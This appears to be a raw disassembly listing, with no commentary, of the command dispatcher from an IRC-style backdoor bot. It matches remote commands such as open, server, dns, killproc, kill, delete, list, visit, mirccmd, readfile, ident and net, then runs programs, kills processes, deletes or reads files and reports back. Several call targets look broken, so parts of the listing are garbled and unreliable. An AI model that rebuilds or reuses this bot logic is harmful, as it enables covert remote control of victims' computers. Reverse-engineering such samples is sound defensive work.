		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_406B1C
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406B1C:				; CODE XREF: sub_4021E5+4915j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406B31:				; CODE XREF: sub_4021E5+48D6j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aOpen	; "open"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406B6F
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aO	; "o"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406C12


loc_406B6F:				; CODE XREF: sub_4021E5+4967j
		push	5
		push	0
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aOpen_0	; "open"
		push	0
		call	dword_4E166C	; ShellExecuteA
		test	eax, eax
		jz	short loc_406BB6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_4431CC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_406BD7
; ---------------------------------------------------------------------------


loc_406BB6:				; CODE XREF: sub_4021E5+49ACj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_4431EC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_406BD7:				; CODE XREF: sub_4021E5+49CFj
		cmp	[ebp+var_4], 0
		jnz	short loc_406BFD
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406BFD:				; CODE XREF: sub_4021E5+49F6j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406C12:				; CODE XREF: sub_4021E5+4984j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aServer	; "server"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406C4C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSe	; "se"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_406CC2


loc_406C4C:				; CODE XREF: sub_4021E5+4A48j
		push	7Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+arg_14]
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_44321C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_406CAD
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406CAD:				; CODE XREF: sub_4021E5+4AA6j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406CC2:				; CODE XREF: sub_4021E5+4A65j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDns	; "dns"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406D00
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDn	; "dn"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406E2E


loc_406D00:				; CODE XREF: sub_4021E5+4AF8j
		and	[ebp+var_1A0C],	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	dword_4E1740	; inet_addr
		mov	[ebp+var_1A10],	eax
		cmp	[ebp+var_1A10],	0FFFFFFFFh
		jz	short loc_406D74
		push	2
		push	4
		lea	eax, [ebp+var_1A10]
		push	eax
		call	dword_4E16B8	; gethostbyaddr
		mov	[ebp+var_1A0C],	eax
		cmp	[ebp+var_1A0C],	0
		jz	short loc_406D72
		mov	eax, [ebp+var_1A0C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_44324C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_406D72:				; CODE XREF: sub_4021E5+4B62j
		jmp	short loc_406DD7
; ---------------------------------------------------------------------------


loc_406D74:				; CODE XREF: sub_4021E5+4B42j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	dword_4E1784	; gethostbyname
		mov	[ebp+var_1A0C],	eax
		cmp	[ebp+var_1A0C],	0
		jz	short loc_406DD7
		mov	eax, [ebp+var_1A0C]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1A08],	eax
		push	[ebp+var_1A08]
		call	dword_4E178C	; inet_ntoa
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_44326C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_406DD7:				; CODE XREF: sub_4021E5:loc_406D72j
					; sub_4021E5+4BAFj
		cmp	[ebp+var_1A0C],	0
		jnz	short loc_406DF3
		push	offset unk_44328C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_406DF3:				; CODE XREF: sub_4021E5+4BF9j
		cmp	[ebp+var_4], 0
		jnz	short loc_406E19
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406E19:				; CODE XREF: sub_4021E5+4C12j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406E2E:				; CODE XREF: sub_4021E5+4B15j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKillproc ; "killproc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406E6C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKp	; "kp"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406F14


loc_406E6C:				; CODE XREF: sub_4021E5+4C64j
		push	0
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_85C]
		push	0
		push	[ebp+arg_4]
		call	sub_41CDFD
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_406EB8
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_4432C4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EB8:				; CODE XREF: sub_4021E5+4CAEj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_4432E4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_406ED9:				; CODE XREF: sub_4021E5+4CD1j
		cmp	[ebp+var_4], 0
		jnz	short loc_406EFF
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406EFF:				; CODE XREF: sub_4021E5+4CF8j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406F14:				; CODE XREF: sub_4021E5+4C81j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKill	; "kill"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406F52
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKi	; "ki"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF0


loc_406F52:				; CODE XREF: sub_4021E5+4D4Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		push	eax
		call	sub_41D190
		pop	ecx
		cmp	eax, 1
		jnz	short loc_406F94
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443320
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_406FB5
; ---------------------------------------------------------------------------


loc_406F94:				; CODE XREF: sub_4021E5+4D8Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443344
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_406FB5:				; CODE XREF: sub_4021E5+4DADj
		cmp	[ebp+var_4], 0
		jnz	short loc_406FDB
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_406FDB:				; CODE XREF: sub_4021E5+4DD4j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_406FF0:				; CODE XREF: sub_4021E5+4D67j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDelete	; "delete"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40702E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDel	; "del"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4070C8


loc_40702E:				; CODE XREF: sub_4021E5+4E26j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		nop
		call	near ptr 27B0806h
		test	eax, eax
		jz	short loc_40706D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443380
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 10h
		jmp	short loc_40708D
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_4021E5+4E5Ej
		push	offset dword_44339C
		call	sub_41A5B6
		pop	ecx
		push	eax


loc_407079:				; DATA XREF: .XComp0:0044AC68o
					; .XComp0:0044AC7Co ...
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch


loc_40708D:				; CODE XREF: sub_4021E5+4E86j
		cmp	[ebp+var_4], 0
		jnz	short loc_4070B3
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4070B3:				; CODE XREF: sub_4021E5+4EACj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4070C8:				; CODE XREF: sub_4021E5+4E43j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_4433A8
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_407106
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_4433AC
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407239


loc_407106:				; CODE XREF: sub_4021E5+4EFEj
		push	14h
		push	0
		lea	eax, [ebp+var_1BBC]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_4433B0
		lea	eax, [ebp+var_1BA8]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BC4],	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	80h
		lea	eax, [ebp+var_1AA4]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_1A1C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1A18],	eax
		lea	eax, [ebp+var_1AA4]
		push	eax
		lea	eax, [ebp+var_1BA8]
		push	eax
		push	offset unk_4433B4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	1Ah
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_1A20],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_1BC4]
		push	eax
		push	offset sub_41873A
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_1A20]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_1A20]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_407209


loc_4071F4:				; CODE XREF: sub_4021E5+5020j
		cmp	[ebp+var_1A14],	0
		jnz	short loc_407207
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4071F4
; ---------------------------------------------------------------------------


loc_407207:				; CODE XREF: sub_4021E5+5016j
		jmp	short loc_407224
; ---------------------------------------------------------------------------


loc_407209:				; CODE XREF: sub_4021E5+500Dj
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_4433D8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_407224:				; CODE XREF: sub_4021E5:loc_407207j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_407239:				; CODE XREF: sub_4021E5+4F1Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aList	; "list"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_407273
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aLi	; "li"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4072B4


loc_407273:				; CODE XREF: sub_4021E5+506Fj
		push	0
		push	[ebp+var_98]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_415120
		add	esp, 10h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443420
		call	sub_417472
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4072B4:				; CODE XREF: sub_4021E5+508Cj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aVisit	; "visit"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4072F2
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aV	; "v"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407438


loc_4072F2:				; CODE XREF: sub_4021E5+50EAj
		push	7Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		lea	eax, [ebp+var_1D54]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_40733E
		push	7Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		lea	eax, [ebp+var_1CD4]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_40733E:				; CODE XREF: sub_4021E5+5139j
		push	7Fh
		push	[ebp+var_98]
		lea	eax, [ebp+var_1C54]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1D58],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1BD0],	eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_1BCC],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443444
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	1Ch
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_1BD4],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_1D58]
		push	eax
		push	offset sub_41E8B6
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_1BD4]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_1BD4]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_407408


loc_4073F3:				; CODE XREF: sub_4021E5+521Fj
		cmp	[ebp+var_1BC8],	0
		jnz	short loc_407406
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4073F3
; ---------------------------------------------------------------------------


loc_407406:				; CODE XREF: sub_4021E5+5215j
		jmp	short loc_407423
; ---------------------------------------------------------------------------


loc_407408:				; CODE XREF: sub_4021E5+520Cj
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_44345C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_407423:				; CODE XREF: sub_4021E5:loc_407406j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_407438:				; CODE XREF: sub_4021E5+5107j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aMirccmd	; "mirccmd"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_407476
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aMirc	; "mirc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40751F


loc_407476:				; CODE XREF: sub_4021E5+526Ej
		cmp	[ebp+var_2D4], 0
		jz	loc_407517
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_1D5C],	eax
		cmp	[ebp+var_1D5C],	0
		jz	short loc_407517
		push	[ebp+var_1D5C]
		call	sub_41A6C1
		pop	ecx
		test	eax, eax
		jnz	short loc_4074D1
		push	offset unk_4434AC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_4074E4
; ---------------------------------------------------------------------------


loc_4074D1:				; CODE XREF: sub_4021E5+52D5j
		push	offset dword_4434CC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_4074E4:				; CODE XREF: sub_4021E5+52EAj
		cmp	[ebp+var_4], 0
		jnz	short loc_40750A
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40750A:				; CODE XREF: sub_4021E5+5303j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_407517:				; CODE XREF: sub_4021E5+5298j
					; sub_4021E5+52C5j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40751F:				; CODE XREF: sub_4021E5+528Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_4434E8
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40755D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_4434EC
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407623


loc_40755D:				; CODE XREF: sub_4021E5+5355j
		cmp	[ebp+var_2D4], 0
		jz	loc_40761B
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_1D60],	eax
		cmp	[ebp+var_1D60],	0
		jz	loc_40761B
		push	offset dword_4434F0
		push	[ebp+var_1D60]
		call	sub_422590
		pop	ecx
		pop	ecx
		push	[ebp+var_1D60]
		call	sub_41D24C
		pop	ecx
		test	eax, eax
		jnz	short loc_4075F4
		push	offset unk_4434F4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_4075F2
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4075F2:				; CODE XREF: sub_4021E5+53EBj
		jmp	short loc_40760E
; ---------------------------------------------------------------------------


loc_4075F4:				; CODE XREF: sub_4021E5+53D2j
		push	[ebp+var_1D60]
		push	offset dword_443520
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40760E:				; CODE XREF: sub_4021E5:loc_4075F2j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40761B:				; CODE XREF: sub_4021E5+537Fj
					; sub_4021E5+53ACj
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_407623:				; CODE XREF: sub_4021E5+5372j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aReadfile ; "readfile"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_407661
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRf	; "rf"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407754


loc_407661:				; CODE XREF: sub_4021E5+5459j
		push	offset aR_0	; "r"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_4213F0
		pop	ecx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		cmp	[ebp+var_1D64],	0
		jz	short loc_4076F8


loc_407689:				; CODE XREF: sub_4021E5+54E2j
		push	[ebp+var_1D64]
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4223D0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4076C9
		push	1
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_407689
; ---------------------------------------------------------------------------


loc_4076C9:				; CODE XREF: sub_4021E5+54C0j
		push	[ebp+var_1D64]
		call	sub_41EC50
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_44354C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_40773F
; ---------------------------------------------------------------------------


loc_4076F8:				; CODE XREF: sub_4021E5+54A2j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443570
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_40773F
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40773F:				; CODE XREF: sub_4021E5+5511j
					; sub_4021E5+5538j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_407754:				; CODE XREF: sub_4021E5+5476j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aIdent	; "ident"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4078E9
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aOn	; "on"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407848
		push	2
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jle	short loc_4077BA
		push	offset dword_4435A0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_407846
; ---------------------------------------------------------------------------


loc_4077BA:				; CODE XREF: sub_4021E5+55BBj
		push	offset dword_4435C0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	2
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_5D8], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		push	[ebp+var_5D8]
		push	offset sub_415BB9
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_5D8]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_5D8]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jnz	short loc_407846
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset dword_4435EC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_407846:				; CODE XREF: sub_4021E5+55D0j
					; sub_4021E5+5644j
		jmp	short loc_4078AE
; ---------------------------------------------------------------------------


loc_407848:				; CODE XREF: sub_4021E5+55ABj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aOff	; "off"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4078AE
		push	0
		push	2
		call	sub_40D653
		pop	ecx
		pop	ecx
		mov	[ebp+var_5D8], eax
		cmp	[ebp+var_5D8], 0
		jle	short loc_40789B
		push	[ebp+var_5D8]
		push	offset dword_443624
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_4078AE
; ---------------------------------------------------------------------------


loc_40789B:				; CODE XREF: sub_4021E5+5698j
		push	offset dword_44365C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_4078AE:				; CODE XREF: sub_4021E5:loc_407846j
					; sub_4021E5+567Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_4078D4
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4078D4:				; CODE XREF: sub_4021E5+56CDj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4078E9:				; CODE XREF: sub_4021E5+558Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aNet	; "net"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407E46
		cmp	dword_4E17D0, 0
		jz	short loc_407920
		cmp	dword_4E17F8, 0
		jnz	loc_407DF8


loc_407920:				; CODE XREF: sub_4021E5+572Cj
		cmp	[ebp+var_2D4], 0
		jz	loc_407DF6
		and	[ebp+var_1D68],	0
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_407964
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_1D68],	eax


loc_407964:				; CODE XREF: sub_4021E5+575Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aStart	; "start"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4079FF
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_4079B7
		push	[ebp+var_1D68]
		push	3
		call	sub_41AE5B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_4079FA
; ---------------------------------------------------------------------------


loc_4079B7:				; CODE XREF: sub_4021E5+57AAj
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_41B2D1
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4079E7
		push	offset unk_44368C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_4079FA
; ---------------------------------------------------------------------------


loc_4079E7:				; CODE XREF: sub_4021E5+57EBj
